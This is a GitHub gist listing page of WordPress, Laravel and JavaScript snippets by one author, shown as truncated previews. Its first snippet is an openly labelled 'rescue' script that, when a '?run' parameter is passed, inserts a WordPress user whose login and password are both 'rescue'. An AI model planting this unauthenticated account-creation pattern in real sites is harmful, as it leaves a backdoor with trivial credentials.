Skip to content

Instantly share code, notes, and snippets.

@Gkiokan
Gkiokan / add_admin_user_rescue.php
Created May 15, 2018 07:55
Add WP Admin User programmatically (rescue user)
if(isset($_GET['run'])):
include_once './wp-blog-header.php';
$user = get_user_by('login', 'greyd');
if(!$user)
wp_insert_user([
'user_login' => 'rescue',
'user_url' => 'rescue',
'user_pass' => 'rescue',
@Gkiokan
Gkiokan / disable-rest-api.php
Last active July 25, 2018 11:24
WP Disable Rest API
<?php
/*
* Disable WP REST API JSON endpoints if user not logged in
*/
function chuck_disable_rest_endpoints( $access ) {
if( ! is_user_logged_in() ) {
return new WP_Error( 'rest_cannot_access', __( 'Only authenticated users can access the REST API.', 'disable-json-api' ), array( 'status' => rest_authorization_required_code() ) );
}
return $access;
}
@Gkiokan
Gkiokan / wp-cpt-custom-column.php
Created July 25, 2018 12:55
WP CPT Custom Columns
<?php
/*
File: WP Custom Columns Extension
Author: Gkiokan Sali
Date: 25.07.2018
*/
class CustomColumn {
<?php
/*
VC Additions file for Extensions
*/
namespace G\VC;
new Fonts;
class Fonts {
@Gkiokan
Gkiokan / Token.php
Last active May 24, 2019 07:12
PHP Token Generator v2
<?php
/*
Gist: PHP Token Generator v2
Author: Gkiokan Sali
Date: 2019-05-24
Description: Generate a unique token with a special format.
*/
namespace App\Utils;
@Gkiokan
Gkiokan / php-token-generator.php
Created January 3, 2017 08:56
PHP Token generator
<?php
/*
Gist: PHP Token Generator
Author: Gkiokan Sali
Description: Generate a unique token with a special format.
*/
namespace Gkiokan\Tools;
class Token {
@Gkiokan
Gkiokan / webpack.mix.js
Created September 25, 2019 16:04
Laravel Mix Webpack configuration alias and chunkFile configuration
const mix = require('laravel-mix');
require('laravel-mix-merge-manifest');
const VuetifyLoaderPlugin = require('vuetify-loader/lib/plugin');
mix.setPublicPath('../../public').mergeManifest();
mix.js(__dirname + '/Resources/assets/src/main.js', 'modules/web/app.js')
.sass( __dirname + '/Resources/assets/sass/app.scss', 'modules/web/app.css');
@Gkiokan
Gkiokan / speech_prototype.js
Created November 14, 2019 16:06
WebKit Speech Recognition, playground with Google Chrome
var recognition = new webkitSpeechRecognition();
recognition.lang = 'de'; //Sprache auf Deutsch festlegen
recognition.continuous = true;
recognition.interimResults = true;
//recognition.onstart = function() { recognizing = true; };
//recognition.onerror = function(event) { console.log(event.error); };
//recognition.onend = function() { recognizing = false; };
recognition.onresult = function (event) {
@Gkiokan
Gkiokan / util.js
Last active January 2, 2020 16:49
Vue Util
/*
Author: Gkiokan Sali
Date: 02.01.2020
Notes: Utility for Vue JS functions, used as this.$util.{functionName}
*/
import Vue from 'vue'
import moment from 'moment'
@Gkiokan
Gkiokan / GoogleGeocodingController.php
Last active August 11, 2020 13:43
Google Geocoding
<?php
/*
Author: Gkiokan Sali
Web: https://gkiokan.net
Date: 11.08.2020
Comments:
Use Google Geocoding API in Laravel
but it can be extracted to any other PHP Application, too.
It has also helper functions that can help others, too.
*/